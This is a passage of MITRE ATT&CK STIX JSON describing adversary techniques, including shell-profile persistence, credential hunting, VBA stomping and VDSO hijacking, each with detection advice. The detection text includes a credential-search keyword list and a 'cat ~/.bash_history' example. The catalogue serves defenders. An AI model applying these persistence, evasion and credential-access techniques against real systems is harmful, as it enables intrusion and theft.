                    "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js",
                    "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021."
                },
                {
                    "source_name": "ESF_filemonitor",
                    "url": "https://objective-see.com/blog/blog_0x48.html",
                    "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Unix Shell Configuration Modification",
            "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user\u2019s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.",
            "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-03-08T15:22:54.089Z",
            "created": "2020-01-24T14:13:45.936Z",
            "x_mitre_contributors": [
                "Robert Wilson",
                "Tony Lambert, Red Canary"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to <code>/etc/profile</code> and <code>/etc/profile.d</code>, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the <code>/etc/shells</code> file.\n",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ]
        },
        {
            "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).",
            "name": "Unsecured Credentials",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1552",
                    "url": "https://attack.mitre.org/techniques/T1552"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-12T18:32:33.620Z",
            "created": "2020-02-04T12:47:23.631Z",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.2",
            "x_mitre_detection": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments  indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access",
                "Process: Process Creation",
                "User Account: User Account Authentication",
                "Windows Registry: Windows Registry Key Access"
            ]
        },
        {
            "id": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761",
            "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)",
            "name": "Unused/Unsupported Cloud Regions",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1535",
                    "url": "https://attack.mitre.org/techniques/T1535"
                },
                {
                    "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
                    "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc",
                    "source_name": "CloudSploit - Unused AWS Regions"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-22T16:46:43.876Z",
            "created": "2019-09-04T14:35:04.617Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_contributors": [
                "Netskope"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Instance: Instance Creation"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1608.001",
                    "url": "https://attack.mitre.org/techniques/T1608/001"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Upload Malware",
            "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.",
            "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-26T18:40:15.732Z",
            "created": "2021-03-17T20:09:13.222Z",
            "x_mitre_contributors": [
                "Kobi Haimovich, CardinalOps"
            ],
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1608.002",
                    "url": "https://attack.mitre.org/techniques/T1608/002"
                },
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Upload Tool",
            "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo.\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",
            "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-26T18:41:37.444Z",
            "created": "2021-03-17T20:31:07.828Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1550",
                    "url": "https://attack.mitre.org/techniques/T1550"
                },
                {
                    "source_name": "NIST Authentication",
                    "url": "https://csrc.nist.gov/glossary/term/authentication",
                    "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020."
                },
                {
                    "source_name": "NIST MFA",
                    "url": "https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication",
                    "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020."
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "source_name": "TechNet Audit Policy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Use Alternate Authentication Material",
            "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n",
            "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2021-04-14T18:09:47.427Z",
            "created": "2020-01-30T16:18:36.873Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false,
            "x_mitre_defense_bypassed": [
                "System Access Controls"
            ],
            "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Web Credential: Web Credential Usage",
                "Application Log: Application Log Content",
                "User Account: User Account Authentication",
                "Active Directory: Active Directory Credential Request"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365",
                "SaaS",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1497.002",
                    "url": "https://attack.mitre.org/techniques/T1497/002"
                },
                {
                    "source_name": "Sans Virtual Jan 2016",
                    "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667",
                    "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019."
                },
                {
                    "source_name": "Unit 42 Sofacy Nov 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019."
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "User Activity Based Checks",
            "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
            "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2020-07-01T16:32:02.491Z",
            "created": "2020-03-06T21:04:12.454Z",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Static File Analysis",
                "Signature-based detection",
                "Host forensic analysis"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_contributors": [
                "Deloitte Threat Library Team"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1204",
                    "url": "https://attack.mitre.org/techniques/T1204"
                }
            ],
            "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",
            "name": "User Execution",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2021-04-20T16:34:09.236Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Instance: Instance Start",
                "Instance: Instance Creation",
                "Image: Image Creation",
                "Command: Command Execution",
                "Container: Container Start",
                "Container: Container Creation",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "File: File Creation",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "IaaS",
                "Containers"
            ],
            "x_mitre_contributors": [
                "Oleg Skulkin, Group-IB"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1564.007",
                    "url": "https://attack.mitre.org/techniques/T1564/007"
                },
                {
                    "source_name": "FireEye VBA stomp Feb 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html",
                    "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020."
                },
                {
                    "source_name": "Evil Clippy May 2019",
                    "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/",
                    "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020."
                },
                {
                    "source_name": "Microsoft _VBA_PROJECT Stream",
                    "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239",
                    "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020."
                },
                {
                    "source_name": "Walmart Roberts Oct 2018",
                    "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278",
                    "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020."
                },
                {
                    "source_name": "pcodedmp Bontchev",
                    "url": "https://github.com/bontchev/pcodedmp",
                    "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020."
                },
                {
                    "source_name": "oletools toolkit",
                    "url": "https://github.com/decalage2/oletools",
                    "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "VBA Stomping",
            "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",
            "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-09-23T11:31:50.407Z",
            "created": "2020-09-17T12:51:40.845Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "MS Office version specified in <code>_VBA_PROJECT</code> stream must match host"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "File: File Content"
            ],
            "x_mitre_contributors": [
                "Rick Cole, FireEye"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ]
        },
        {
            "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5",
            "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  ",
            "name": "VDSO Hijacking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.014",
                    "url": "https://attack.mitre.org/techniques/T1055/014"
                },
                {
                    "source_name": "ELF Injection May 2009",
                    "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html",
                    "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."
                },
                {
                    "source_name": "Backtrace VDSO",
                    "url": "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/",
                    "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020."
                },
                {
                    "source_name": "VDSO Aug 2005",
                    "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/",
                    "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020."
                },
                {
                    "source_name": "Syscall 2014",
                    "url": "https://lwn.net/Articles/604515/",
                    "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020."
                },
                {
                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
                    "source_name": "ArtOfMemoryForensics"
                },
                {
                    "url": "https://www.gnu.org/software/acct/",
                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
                    "source_name": "GNU Acct"
                },
                {
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
                    "source_name": "RHEL auditd"
                },
                {
                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
